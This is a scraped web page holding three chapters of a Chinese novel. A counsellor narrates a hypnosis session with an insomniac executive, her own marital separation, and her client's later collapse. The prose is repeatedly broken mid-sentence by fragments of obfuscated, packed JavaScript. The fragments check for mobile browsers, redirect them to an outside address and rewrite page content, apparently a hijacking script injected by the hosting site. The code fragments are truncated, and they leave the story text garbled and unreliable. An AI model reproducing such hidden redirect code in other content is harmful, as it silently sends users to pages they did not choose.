那天她转投资款的时候,突然用一种蹲墙角听八卦的贱兮兮表情说:“作为合伙人,虽然我什么都不管,但是嘛,如果有一些很变态很奇特的故事,你一定要跟我分享。这也算是投资人的福利,怎么样?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826327|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 心理咨询师的工作操守第一条就是要求保密原则。 我在职业操守和金钱之间考虑了5秒,没什么骨气地答应了。 当透明的茶壶被放进了一朵新的玫瑰花,滚烫的开水让本已干枯的花朵慢慢绽放,花香的味道和雾气弥漫升起时,她已经看完了。 脸上露出一些迷惑和一言难尽的表情:“这怎么有点不像聂菁的故事?” 我狡猾地一笑:“作为一名合格的咨询师,你觉得我会把来访者的真实信息透露出来吗?我会把来访者的信息全部更改,姓名,年龄,性别,样貌甚至经历,能改都全部更改,保证他阿妈看了都不认得。” 她把稿子卷成一个圆筒,作势要敲我:“你这是赤裸裸的诈骗,太假了吧。” “不要太在乎真假,好看就可以了,真中有假,假中有真,假亦真时真亦假,真亦假时假亦真。”我一边躲开一边说。 “而且不单他们是假的,我也是假的。” 莎莎奇怪地瞪着我。 “一旦下笔,我就不再是我,我只是服务于这个故事的符号,可能现实中我并不会离婚,可能还会生1~2个娃,可能我每天都像一个怨妇,骂孩子怨丈夫,在自己的剧情里无知无觉完成此生的剧本直到终老谢幕。” 莎莎打了个寒战:“听起来好可怕。” 我不太认真地笑:“所以基于以上的自我推测,与其这样压抑地过一生,那么我连婚姻都不会进入,冷眼旁观世情,孤独终身到老,你会喜欢哪一个版本?” 莎莎瞪了我半晌,突然从地上拾起一朵花,甩手朝我扔了过来,道:“满纸荒唐言。” 缺了一瓣的残花以高低抛物线方式撞到我胸前,然后弹到桌子的玻璃壶旁边。 “一把荒诞泪。” 我露出真心的笑容。 “在我的小说里,只有你才是真实的。” 莎莎露出惊讶的神色:“为什么?” “因为你是我的金主,我怎敢把你乱写?” “去你的!”莎莎笑了。 “话说你好像一直也不相信聂菁真的见了鬼。” “我还是认为这是她的心结引发的幻觉,这世上哪里真的会有鬼,相信科学吧。”我很专家式地回答。 只不过,人有时候总会被自己啪啪打脸。 7. 失眠01 原木桌子上一字铺开了一条长龙形的层层叠叠卡牌。 老高神色有些凝重,他的手在牌的上空犹豫了一下,随机抽出一张,翻开看了一眼,脸色随即变得极为难看。 我瞥了一眼,不由得暗暗吃惊。 三次了,居然抽到同一张。 88张牌,每次抽取的机率是88分之一,但三次打乱重新抽到同一张牌,这个概率就绝不止88分之一,数学家才算得出来到底是多少N次方了。 我给老高玩的是一种叫OH的心理卡牌游戏。 这种牌不是占卜,但却有一种神奇的魔力,无论是随意还是故意抽出,一旦玩者抽出的那张牌,总是能十分贴切投射出玩者当下的思想、心理和情绪。通常玩者会惊呼“Oh,mygod”,故称OH卡牌(OHCards)。 老高此时的心底会惊呼“Ohmygod吗?”还是会狠狠地咒骂“TMD,什么玩意儿?” 我从他脸上阴暗不定的表情推测出似乎是后者。 任何人三次都抽到这个牌面,大约脸色都会变成这样子。 因为这个牌面很“妙”,妙得让成年人有点难以启齿。 这是一张有点含糊的水彩风格的牌面,如果你了解心理风格画风的话,你大概会知道,心理风格的画是“横看成岭侧成峰,远近高低各不同。” 比如一张画看上去明明是一个优雅少女的头像,但是再从另一个角度细看,居然是一个凶狠的巫婆侧影,所以眼见未必真实,角度不同投射便不同。 可这张牌面,只要是成人看,怎么看都会看到是一个女性赤裸裸的下体。 老高瞪着那张怎么都会回到他手里的卡牌半晌,声音有种隐约的恼意:“这和治疗失眠有什么关系?” 老高就是李梨说的那个因为失眠而变成周扒皮的上司。 “是这样,”我安抚着解释道:“长期失眠的原因很复杂,生理、心理、环境、药物、遗传都会影响睡眠,而且时间越长,越会形成恶性循环。” “我这里探寻心理方面的问题,玩这个卡牌,能够帮助我们理解自己的心理,深入潜意识的世界,找到问题的症结点。” 老高不太愉快的盯了我一眼,对我的专业理论感到有些不耐烦。 长期失眠的人神经紧张,不易放松,我本意让老高玩玩卡牌游戏,谈话更加轻松一点。 可是感觉效果相反。 “这张牌会让你联想到什么吗?”如此巧合的抽牌,是否在冥冥中暗示着什么? 老高把张牌扔到桌子上,冷然道:“我不喜欢玩这种无聊的联想游戏,我没有心理问题,我是来催眠失眠的。” 透过语气我听到一种心烦意乱的味道。 “抱歉,这个只是一种小工具小游戏,没有其他意思。”我用指尘挑起最边缘的一张,顺手迅速一划便收起了88张牌,整齐地码好一叠放到旁边的盒子里,这个手法还是我照着电影《赌神》练了许久的。 盒子里的另一边放着配套文字的88张卡牌,图和文字才是完整的配套玩法,可惜文字卡牌那部分出师未捷身先死。 “你是从什么时候开始失眠的?”我从善若流地问。 “一年多前。”他靠向椅背,肩膀微微放松了些,脸色有些灰暗,冷淡的眉宇下隐隐泛着青圈,下眼皮也略有浮肿,使得本来挺英朗的脸庞带着些阴郁之气。 他进来的时候,我假装不认识他,好像是第一次见面的陌生人。 但其实,三年前我曾见到他。 那是一个千多人的大会场,一场大型跨国公司的年会。 想起来李梨原本是莎莎的朋友,她打电话给莎莎时很兴奋。 “今晚还有位置,公司有两人恰好有事,来不来?” “一个公司年会而已,有什么好参加的,不都是内部人员吗?”我兴趣缺乏,才刚到莎莎的窝,不想挪地方。 “跟一般的年会不一样,听说邀请了好多著名歌星,还有凤凰台的知名主持人。”莎莎放下电话时也兴奋起来。 “这么大手笔吗?”我诧异道。 “对,去见识一下,我的偶像也来了,演唱会平时一票难求啊。”莎莎拉着我不由分说开车奔了过去。 科技新贵公司果然财大气粗,晚餐异常的丰盛,隔三岔五抽奖,奖品无不是最新型号的苹果iPad和手机,每隔一阵,会场就炸开一阵惊叹,气氛异常的热烈。 知名和不知名的歌手轮流上场热身,中间穿插着各个子公司的负责人讲解本公司的年度经营业务。 老高就是其中之一,我对他印象深刻,因为那时他如明星一般耀眼。 据说他负责的项目是公司那年最重点发展的业务。 群星汇集的舞台上,强烈的灯光照在他意气风发的脸庞,大屏幕上翻过一页又一页的PPT,他的站姿自信从容,讲话之间透露出一派潇洒的抑扬顿挫,极富感染力。 所有的人的目光都投注在他身上,志得意满。 他当然不认识我,我也假装第一次相见。 “一年多前发生什么让你记忆深刻的事吗?” 他揉揉太阳穴,闭了闭眼睛,很疲累的样子:“我的工作节奏很快,一年发生的事很多,不知道你指的是什么。” “重大事件,或者你觉得有压力的事件。” “我的工作一直充满压力,压力和挑战是我的常态,我不觉得这是我失眠的原因。”他皱着眉瞥了我一眼,像对着一个不太得力的助手。 “重大事件吗?”他仍紧蹙眉头思考了一下:“我的女儿出生算不算?” “当然算,结婚生子都是人生大事。” 他眉心的不满像快要溢出的水。 “失眠由情绪紊乱引起的最多,有时新生命的到来,会让人感到当父母的挑战,因为压力有时不是单一的,它们可能会叠加交织,使人感到焦虑紧张,引起身体的应激激素分泌增加,交感神经系统活跃,使身体难以放松,导致入睡困难。”我专业的解惑。 他疲惫的脸上透出一丝不以为然。 “我做过失眠的数据分析,我知道失眠的原理,也试过很多种方法,喝牛奶,调温度,床的软硬,光亮,音乐,时差,药物我都试过了。” “药物有用,但是我需要的剂量越来越多,我不喜欢这种无法控制的感觉,所以我想试一下催眠。” 给一颗理□□控制的大脑催眠是我的难题,因为意识就像一只守门的警犬,只有在警犬离开时,潜意识的相关信息才会浮现出来。 我需要他更放松一些,更加打开心扉一些。 他却有点不耐烦:“你就不能打一个响指让我睡着吗?电影都是这么演的。” 我无语片刻。 上一个在电影里打响指的人是《复仇者联盟》里头号反派灭霸,一个响指让宇宙消失了一半,可是在那之前,他花费了漫长的时间,在不同的宇宙当中收集了6颗无限宝石,千辛万苦,牺牲无数。 一个响指! 我叹了一口气:“如果我有这个本领,我必定排除万难也要在美国总统面前打个响指,让世界得以和平,全球大同。” 他似乎没听懂我的冷笑话。 “那催眠到底能不能治疗失眠?” “能,不过不是一个响指,而是通过催眠找到你内心引发焦虑紧张的压力源,处理这个压力的原因,释放其中的负面情绪,没有了引发的原因,身体就会自动调整激素分泌,神经系统也会回复平衡,你的睡眠状态自然也会好转。” 对于失眠我有很深的研究,因为我曾经也是一位资深的失眠者。 正如老高一样,试过无数的方法收效甚微。 后来我在多次催眠当中找到了一个意想不到的原因,竟是因为一辑恐怖片。 那时港台的恐怖片很盛行,我还是小学年纪,假期唯一的娱乐便是跟着单位的哥哥姐姐们挤在一起看电视。 不知谁当时借来一套非常恐怖的僵尸连续剧,整个暑假都在一集追着一集。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826328|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太记得里面讲的是什么内容,但是那些恐怖的画面却深深留在我的记忆当中。 被四面环山密林包围的封闭山村,一位英俊的外国青年流落被救,他外表与常人无异,晚上却化作吸血僵尸,轻易地将门锁打开,走向熟睡的帐中人。 镜头给了每一个人的脖子特写,伴随着恐怖的音乐,熟睡的人在梦中痛苦被吸干了血液,完成了从人到僵尸的转化。 村民在无知无觉中变成僵尸王的傀儡,谁也不知道身边的亲人可能在一夜之间变成僵尸,危险就潜伏在身边。 整个暑假每当黑夜降临,躺在床上电影中僵尸的獠牙仿佛就在帐前,身体不由自主地发抖,窝在被子中差点窒息也不敢透气。 时光太久远我早已忘记这段童年的插曲,可是潜意识却深刻地记住,每当黑夜睡眠来临,神经系统自然而然地产生警惕,无论精神和身体有多疲惫,在黑暗中预防死亡的本能无法允许自我安眠。 尽管每个人失眠的原因都不一样,但背后的机制都是负面情绪引发的身心失衡。 他皱着的眉更深了:“听起来不是一个响指能解决的,到底需要多长时间?” 我回答:“那要看你对自己有多坦诚有多敞开,催眠治疗失眠需要多次治疗才能产生效果,以达到深度放松和逐渐加深暗示效果。” 不过放松这个词大约对于老高来说过于陌生。 我用了好几种放松的方式,以及十多分钟的呼吸放松训练。 “深呼吸,慢慢地呼,深深地吸,每一次呼气,都越来越放松……” 斜躺在催眠椅上的老高,仍紧绷得像一条人棍,眉头是紧的,身体是紧的,手指也是紧的。 我叹了一口气,暗暗腹诽:这就是我为什么不爱催眠理智很强大的男人,他们爱做世界的主宰,怎么肯把主控权交给别人? 想了想,我冷不防重重一拍他的额头,趁着他惊愕心神不定时,轻按在他的肩膀上暗示:“放松,让全身的肌肉放松下来,就像有人按摩着你的肌肉,它们知道怎么放松……” 他终于一点点地放松了下来。 又用了十多分钟,我不停地加深放松让他进入比较稳定的催眠态。 “现在回到你睡前的状态,你在床上辗转反侧,想睡又睡不着是一种什么样的感觉?” “非常烦躁。” “好的,放松地感受这个感觉,让这个感受牵引着你,就像一条引领你方向的丝线,它会帮助你找到答案,或者是一件事,或者是一个人,我会倒数54321……” 他的表情很放松,呼吸很均匀。 于是我问:“现在,你看到什么?什么人?什么事?” 他的眉心皱起来,不安地侧翻身体,右手无意识地挥动了一下,像在抹去什么。 我只好重复又问了一次:“你看到了什么?” 他仍没有回答我的问题。 我打量着他,不知道在这种状态下为什么会不合作,要么状态没到足够的深度,要么就是什么可怕的东西,让他的意识惊醒警惕起来。 我并不知道意识和潜意识是如何合作的,但是如果潜意识判断某些深层的情绪还未适合披露时,它便会唤来意识这个守卫来看管。 到底看到了什么?会让他在深沉的催眠状态中迅速清醒? 我始终没能问出来,只好在反复的睡眠积极暗示中结束这一次不甚愉快的催眠。 傍晚,白日的余热还未散尽,地上蒸腾的气体散发着令人焦躁的气息,呼吸间罩着一种无法散发的黏腻感。 好几个月没联系的前夫李旭打电话过来,背景声音里带着酒吧里的吵闹: “几个月没去看妈妈了,周六安排一下时间吧。” 离婚时协议,未公开仍暂时扮演夫妻。 离婚不单是两个人的事,它和家族枝干纠结,陌生人变成亲人又回复成陌生人,情感上接受彼此都需要一个过程。 我看了一下周六的时间表,只有一位来访者,回复道:“好。” 8. 失眠02 一辆黑色的SUV缓缓停在跟前,我对车品牌认识近乎白痴地步,至今分不清他开的是什么车子,只是认出了熟悉的数字。 我打开副驾驶的车门,点了下头算是打了声招呼。 对这个相处了将近十年的人,没有其他离婚夫妻的爱恨纠结,只有越来越陌生的感觉,仿佛这十多年的时光,不过像一枚石子投入平静的湖面泛起的一波涟漪,又缓缓地平静下来继而了无痕迹。 李旭抬头看了我一眼微微点头,又转头看向方向盘前方,他样貌中等身材中等,放在人群里不出挑,不过没有中年男子的标配啤酒肚,披着一种自律兼自以为是的精英感,乍一看也有几分人模狗样。 简单问候后便两两相对无言,还不如陌生人,陌生人之间,多少还得做做表面功夫逢场做戏一番,彼此强装饶有兴致地攀谈,若碰上什么巧合之处,还要装出百分百的惊讶模样,只为拉近那点虚假的距离感。 伪装是一种温情脉脉的礼貌,我们已经不屑于这样的温柔,彼此都见过对方最狼狈和最真实的样子。 而真实总是杀死美感。 我把白色的耳塞放进耳朵,往下调整了一下椅子的角度,放松闭眼休息,车子在平坦的高速中如快速的游鱼,车内静谧偶有晃动,半梦半醒中,理查德流水一样美妙的钢琴曲隐约在耳边循环往复。 依稀中辨认出一曲《梦中的婚礼》,结束的尾调缓缓,如两句诗词:人生若只如初见,何事秋风悲画扇。 两个多小时的车程也就一个午觉的时间,醒来车已经停好在院子里,车尾厢后面已经打开,我默契地帮忙拎起那一堆东西,前后脚走进了一楼的客厅,挤着不甚自然的微笑叫了声:“妈。” 李旭的妈妈是位退休老师,待人接物足够的礼貌,不过分热情也不过分冷漠,有种君子之交淡如水的距离感。 厨房被收拾得窗明几净,各种锃亮的小家电一应俱全,女人勤不勤快看厨房,这是李旭妈妈的名言。 “这个菜是我们这儿的特色,小旭特别爱吃,就是有点麻烦,先要将皮炸得焦脆,蒜碎也要炸香……” 黑色的铁锅冒着滋滋响的热雾,像一个声音扩大器,说话声在人间烟火的锅里打了个转反而异常的清晰,她看了一眼一旁打下手的我,淡淡地道:“反正你也没什么事做,小旭要养一大家子人不容易,回来吃一口热饭是家的意义……” 小学语文老师大约对巴金的《家》《春》《秋》情有独钟,我知道她说的一大家子人是什么意思,我,她,家公和不成器的弟弟一家人。 我的声音哽在喉里,被她那句没什么事做给烫到了,一口热饭的意义是什么我不清楚,只知道它从构思到成品,从一片绿色的菜叶到鲜脆的佳肴出锅,从穿过五味杂陈的菜市场到孤独寂寞的厨房里,它上过刀山下过火海,也剪碎了我漫长又无意义的时光。 这个我,在洗了又叠叠了又洗的阳台里焦灼,在扫了又拖拖了又扫的尘埃里厌倦,日复一日的自我怀疑中,终于让‘没什么事做’盖了棺定了论! 在沉默中吃饭,在沉默中洗碗,但没有在沉默中爆发。 “你们有什么打算?”吃完饭,李旭自有发小的灯红酒绿,我和李旭的妈妈留守在客厅的安静里。 她洗干净一串绿色晶亮的香妃推到我面前。 我知道她有话想说。 “什么打算?” 她看了我一眼,觉得我好像在明知故问。 “生孩子的打算,你们结婚也这么久了,再蹉跎下去不合适,年纪大了生孩子很辛苦的。” “其实我这样的已经属于高龄产妇了。”我笑了笑。 她责备地瞥了我一眼,欣赏不来这种不合时宜的幽默。 沉默得有些难堪。 “我生不出来。”双手一摊,我自暴自弃地道。 镜片后面的眼睛研究似看了我半晌,问:“谁的问题?” “我的问题,我没办法生。” “没去治疗吗?有问题解决问题,现在不是有试管婴儿什么的吗?” 我摇摇头:“那不是百分百成功的,而且要受很多苦。” 我想起聂菁那苍白的脸色。 “女人总是要受苦的,不受苦怎么成为母亲?”她的神色有些严厉。 “顺其自然吧,不能我也没办法。” 客厅里一阵死寂一样的沉默。 她对我一直不太满意,女人应该像她一样既能相夫也能教子,既能兼顾事业又能照顾家庭。 我则是反面教材,既不勤快也不嘴甜,既不是贤妻良母又不能在事业上有所助添,甚至连一副可以遗传给下一代的好皮囊都没有。 不满在沉默中到达了顶点。 过了好一会我才慢吞吞坦率地道:“李旭能生,他可以另找别人生。” “你们商量过了吗?”她沉默了一会,语气温和下来。 “嗯,商量过了,离婚证最慢也不过15天,怀孕最多需要10个月,要生孩子其实很快的。”我挤出一个不太真诚的笑容。 她看了我一眼移开了眼睛:“你们看着办吧,我管不了你们。” 我咂摸着她说管不了你们的意思,觉得有种意味深长的幽默感。 最后,说管不了我们的退休老师和他儿子锁在房间里嘀咕半天,我百无聊赖地玩着手机,饭也吃过了,话也说过了,只剩等待回程各自归家。 李旭的脸色很冷很严肃,我觉得自己无须再看人脸色,打算爬到副驾驶位上装死。 “你为什么和妈那样说。”一上高速有点迫不及待,声音里压着火气。 我没有回答。 “为什么说你不能生?”他逼问。 “这样对大家都好,不是吗?离婚的事最终总要告知的,况且,这也是我们最大的分歧不是吗?” 想要传宗接代是一个传承了五千年的优良传统,占着茅坑不拉屎的人最惹人讨厌,既然早就决定了应早些结束。 李旭紧抿着嘴唇仿佛在极力调整情绪,隔了一会才说:“你还没想明白吗?一个女人生孩子不是天经地义的事吗?” 我沉默着没有反驳。 “我不知道你整天的脑袋里在想什么?还是你觉得离了婚之后能找到比我更好的人?” “我没有这样打算,快两年了,我仍然觉得婚姻生活不太适合我,我还没有能力做好一位母亲的角色。” 李旭无法理解:“是个女人生了孩子都会做母亲,当初你去学心理我就反对,不知道你学的是什么?出走的娜拉?女权?反传统?真是好笑,难道女权就是让人类灭绝吗?” 又是这个话题。 我能说什么?带一位孩子来到这个世界上,从幼儿园便要开始十多年的系统教育计划,成人们的望子成龙和社会的精英淘汰制下,没人能逃脱对彼此的折磨,众生皆苦,何必呢? “神经病,杞人忧天,那人人都不用生孩子了,找的都是什么乱七八糟的借口。” 后来我们都吵烦了,于是闭上嘴巴。 我沉默了一小会儿道: “我曾经做过一个很逼真的梦,梦里我生了小孩,我以为我会做一个好妈妈。” 可是那个梦却变得极为可怕,我和我的期望完全相反,我是一个极其糟糕的妈妈。我把自己从未得到的爱,以及对父母的恨意,都不由自主地投射到孩子身上。但在梦里,我完全不知道,以致自己痛苦,也让孩子痛苦。 那个梦是哭着醒来的,醒来之后仍然久久心有余悸。 李旭斜着眉,仿佛和中间的褶皱一起构成不满里的三点水:“就因为一个梦而这么草率地决定人生大事?你自己听着不荒唐吗?” 他一定没看过《南柯一梦》这样的志怪小说。 不过树下一个半日的枕眠,却让主角在其中过了极其逼真离奇的一生,醒来从此大彻大悟。 当然,一个重大的决定不仅仅只因为一个梦,它可能是很多小小的瞬间感受组合而决定的。 很早很早以前,他或许早已经不记得了,那时坐着小月子,身体有挥之不去的恶露味道,心情因流逝的生命而抑郁。 孤独地躺在床上,即使不吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826329|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喝也无人问津,时间的流逝缓慢无比,从日出到日落,从日落到黑夜,不过想等待一句温暖的慰问。 然而第N次的迟迟未归和浑身的酒气,我愤恨地把桌上一个不透钢果碟扔在地上,刺耳的声音碰撞在寂静的深夜异常清晰。 “你发什么疯?”他皱着眉压着愤怒。 我冷冷地注视着他,金属在冰冷的瓷砖上弹跳回荡,发出令人不适的质问。 “这就是我不愿意回来的原因,在外面大家开开心心的,别的女人不会像你一样死气沉沉,蓬头垢面,你就不能像我的同事一样,化点妆收拾干净开心一点吗?我辛苦一天很累的,麻烦你懂事一点!” 他不再分多余的眼神,径直回房拿起衣服走进了卫生间。 薄薄的半透门板传来哗哗漠不关心的流水声。 我被无从反驳的事实击倒。 在平静孤寂的空间里,多年的沉疴却犹如沸水翻腾。 石榴树葡萄架下那双一生哀怨的眼神,暴风骤雨中小女孩耐不住惊惧的颤抖,我预感到自己的一生,将会在同样的宿命中轮回,无论跑多远也摆脱不了,成为自己最不想成为的样子。 那一刻,大厦将倾,雪山崩裂,最后一根稻草压死了骆驼,我茕茕孑立,茫然四顾,无人可说,心理学是我唯一的救赎。 “我完全没有印象,我应该没说过这样的话。”他果然不记得了。 “那应该是好多年前了,所以你是在报复我吗?” 我心里有点累:“不,报复是让别人不好过自己也不好过,我只想让自己好过一些。我说这些话并不是责怪,只是想解释我为什么去学心理学和最终的这个决定,那时候婚姻已经开始让我感觉痛苦了。” “如果真是那样,为何过了这么久才离婚?”他质疑道。 我无言片刻。 成长需要一个漫长的过程,当我做好了心理准备,又轮到他生了一场大病,持续了好几年时间,健康和事业都跌落到谷底,我在医院里来回奔跑,还要解决捉襟见肘的财务问题,以及担起病中人的心灵导师,直到他康复重新风生水起。 时间和记忆都在漫长的辗转中磨损,日子过成诗或烂成茶渣都不可追究,翻旧账毫无意义,那只会让自己像一个令人厌倦的祥林嫂。 “对你来说,我不过是一块鸡肋!”我沉默了一会说道。 “鸡肋?”他眉心川字加深。 “对,正像你和妈之前说的,我各方面平平无奇,甚至连年龄都成了劣势,对你而言,不过就剩下点患难夫妻的情义了。” 鸡肋,食之无味弃之可惜。 “可是情义这东西就譬如夏日早上的朝露,风一吹太阳一晒便消失得无影无踪,你不必挂在心上。” “你真的是这么想的吗?”半晌,他道。 我的默不作声基本等于默认。 “你以后不要后悔,我给过你机会的。”他脸上的线条冷厉,脚踩在油门上,时速针跳到120码。 从车上下来,他再见也没说,兀自开车走了。 深夜的灯火零零星星,柔风从白日的热气中渐转惆怅,我不再害怕黑暗里的那对獠牙,却惊奇地发现好久没有的失眠再一次找上门来。 再温和漫长的告别,也总有曲终人散的时候。 但有些人的告别却猝不及防。 李梨打电话过来,大有探究的意思:“老高后来有找你催眠吗?” 我不想泄露来访者的信息,反问:“为什么这么问?” “好奇怪,老高突然辞职了,大老板想给他开一个新项目,挽留了好久都没留住,走的那天我们看到他的脸色奇差,我就想是不是因为失眠没治好的原因。” 我实在也不知道什么情况,只得敷衍了几句。 老高自从那一次催眠后,再也没有约过,我猜想他应该不会来了,很多人都是一次半次不行就下判断,其实任何的治疗都需要一个长期完整的过程。 “我的人生,因为一次催眠变得天翻地覆。” 这是大半年后他对我说的第一句话。 9. 失眠03 他比我上一次见的时候更憔悴,比第一次舞台上见到的样子更是大相径庭,可见皮囊这个东西是需要内在的精气神来支撑的,尽管那玩意谁都看不见。 我既诧异又纳闷,回想那一次催眠,仍是云里雾里:“不是什么内容也没催出来吗?” 他的脸向下微弯成一道忧郁的皱褶,像被谁抽走了鲜活的生命力,颓废地沉默着。 “能说说天翻地覆是什么意思?”等了一会,我忍耐不住好奇。 好半晌,他才梦呓一样道:“我离婚了,工作也干不下去,人生兜兜转转竟然回到一无所有的起点” 他低下头捂住脸,像一支被折断的树枝,在风中苍凉的颤抖着。 “没有了,什么都没有了,都没有了……”声音沙哑破碎如被冷风吹散的黄沙。 我的诧异达到顶点,一个人的生活发生重大的改变,通常是跟灾难性的事件或意外有关,怎么老高说得好像跟我有关似的。 “你一定是个女巫!”他微微抬眼,无力的双眼皮掩饰不住的沉重。 我一愣。 通常,我是很有耐心等待来访者的自有节奏,但现在,我却想急切撬开老高的嘴巴,让他痛痛快快地解释一切。 觉察到自己的浮躁,我微微挪了下坐姿的角度:“怎么说?” 他目光沉沉地看向我右侧边的隔柜,隔柜是以0.5米大小的镂空方格组合而成,每个空格都被我摆上了不同的东西,例如一盘小型绿植,纯白的天使摆件,斜靠的几本心理学书籍,还有一些心理咨询的辅具,包括OH系列的卡牌。 “你还记得那次你给我玩的卡牌吗?我抽了三次都是同一样的牌面?” 我点点头,当然记得,这从来没有发生过的小概率事件,让我感到十分惊讶,我还记得他当时的脸色十分难看。 “后来在催眠的时候,我在画面中看到了我的太太,那时,我有一种很不好的预感。” 我记得他当时一声不吭,以致我没有机会进入更深的潜意识发掘,只是跳到了积极暗示结尾部分。 “看到我太太时不知怎么又想起三次抽中的那张牌,我觉得自己很荒谬,可是越不想想就越控制不住。” 这使得他失眠的症状更加严重。 其实那时候他并不知道,为什么会如此心烦意乱。 他看着太太,觉得自己对太太是非常满意的。 太太是他千挑万选,千辛万苦才娶到的。 太太肤白貌美,玲珑有致,千娇百媚,总之是雄性动物喜欢的类型。 男人是视觉系动物,他并非没见过美女,一群男人的娱乐场所,通常选择美女如云的场合,艳丽的,野性的,妩媚的,什么样的女人他都见过。 可是只有太太才会让他在看到她第一眼时心中怦怦的直跳,一刹那间,他明白了书中所谓的一见钟情,明白了所谓的爱情之箭。 “很可笑对吗?”他停下来苦笑。 我摇摇头,无端端想起大话西游里的那句台词:“我猜中了开头,可我猜不着这结局。” 他是在项目的广告拍摄中认识太太的,太太是个兼职模特,有着一笑倾城的美貌,加上婀娜多姿的身材,吸引了在场众多男性的目光。 认识太太后,他发现她还有知性得体的一面,简直是他的梦中情人。 从浪漫的塞纳河踏足到爱琴海,从美食聊到艺术与环保,足够耐心足够诚意和足够的坚持,终于抱得美人归。 言笑晏晏的宾客、艳压群芳的新娘,得偿所愿的自己,铺满鲜花的月亮,天长地久的蛋糕,像个圆满童话一样的开端。 或许所有的情感遗憾都能概括成一句:人生若只如初见! 红颜白骨画皮厉鬼之所以能成为中式恐怖重头戏的担纲,是因为强烈的翻转和极致的对比,使人感到不寒而栗的窒息。 就像老高与太太的故事一样。 那天他躺在床上再一次失眠,两粒药似乎已经不太管用了。 像煎饼一样在床上翻来覆去许久,他感到一种无名的焦躁,叹了一口气,坐了起来,打算到楼下倒杯热水,再吃一粒药试试看。 这段日子经常失眠,他怕在床上辗转难眠的状态会影响太太,所以他睡的是书房。 他用脚趾紧紧抓住拖鞋,尽量在黑暗中不发出一点声音,复式一楼的房间是保姆带着小宝宝住的,门里面静悄悄的,有种温馨的宁静。 穿过一楼的客厅再到厨房,他早已熟悉在黑暗中操作,所以他没有打开灯,漆黑的空间只有自动水机的红点在闪烁着,像只隐藏在无声无息里魔鬼不小心透露的把柄。 偌大空间静得好像能听见自己的心跳声,他在客厅里站了一小会儿,有些迷茫,不知道自己在等待和期待一些什么事情。 到底是什么? 过于寂静的夜里,感受会变得敏锐,即使是一根绣花针的跌落,也会让他如猎人一样捕捉到。 他仍然踮着脚吸着鞋,无声无息地走上了楼梯,在走过太太的衣帽间的时候,他停了下来,他感到里面仿佛有一种召唤。 是的,召唤。 他事后无数次回想,类似宿命一般的召唤。 使他鬼使神差般走进从来不曾踏足过的地方。 不曾踏足是因为一没有时间,二没有兴趣。 一个拥有成功事业的男人,时间是极度珍贵的,对不是自己领域并毫无助益的事往往兴趣索然。 黄金地带的280平方高尚复式住宅,只有这个地方是他几乎不到访的,他默认这是太太的领地,就像他默认书房是自己的领地,彼此尊重的婚姻才能够细水长流。 况且,扎克伯格那样的“极简风格”才是他对新一代成功阶层的品味定义,衣帽间代表着老钱时代的繁冗气息。 他伸出手在锥形的门把上一拧,喀嚓一声门随之轻松打开,他一愣有点出乎意料。 他记起太太平时都是上锁的,也不用清洁工进来打扫。 “有些衣服首饰比较贵,丢了的话说不清楚,还不如一开始就杜绝这种事发生。”太太曾向他解释过。 他心不在焉地点点头,觉得太太真的又体贴又细心。 打开的门像是一个无声的邀请,一切冥冥之中自有注定。 家里的开关按钮都是在进门的左侧,灯光从顶上吊着的一盏层层叠叠的华丽水晶灯洒落下来,他眯起眼睛适应了一下光线,目光略略扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826330|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过室内,柔软奢华的气息扑面而来。 地上铺着一层软软的波西米亚风格的地毯,一张暗绿色磨砂的皮质换鞋凳,沿着墙两边直到尽头是开放式的长形衣柜,一边是质地轻薄的春夏季衣,另一边是较为厚重的秋冬衣服,都挂得满满的,有些甚至没有拆标签。 两排衣柜下面都放着各种颜色的鞋子,平跟的、细跟的、休闲的、正式的、长的短的…… 老高一瞬间有种荒谬的想法,他究竟养了多少个女人?人又不是蜈蚣,需要那么多鞋子吗? 他走到放春夏那排衣柜前,拿出几件看了看,风格迥异布料尽可能的少,有种过火的性感,却没有见太太在他面前穿过。 